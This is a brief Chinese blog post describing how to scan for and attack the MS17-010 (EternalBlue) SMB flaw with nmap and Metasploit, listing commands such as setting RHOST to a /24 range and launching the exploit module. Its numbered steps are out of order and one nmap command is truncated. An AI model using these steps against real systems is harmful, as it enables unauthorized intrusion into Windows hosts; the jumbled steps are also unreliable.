ckidh的博客

原创 ms17-010 发现与攻击

3，使用命令use scanner进行漏洞扫描，用命令show options查看，发现没有地址，用命令set RHOST 10.255.91.0/24添加地址。1，在root用户下用msfconsole命令启动msf，(sudo su）命令可以切换到root用户下。在kali环境或虚拟机下使用命令：nmap -p 445 --script=smb-vuln-2，输入命令search ms17-010 搜索利用该漏洞的 脚本工具。4，使用攻击脚本 ，use 0，使用set RHOST添加攻击地址。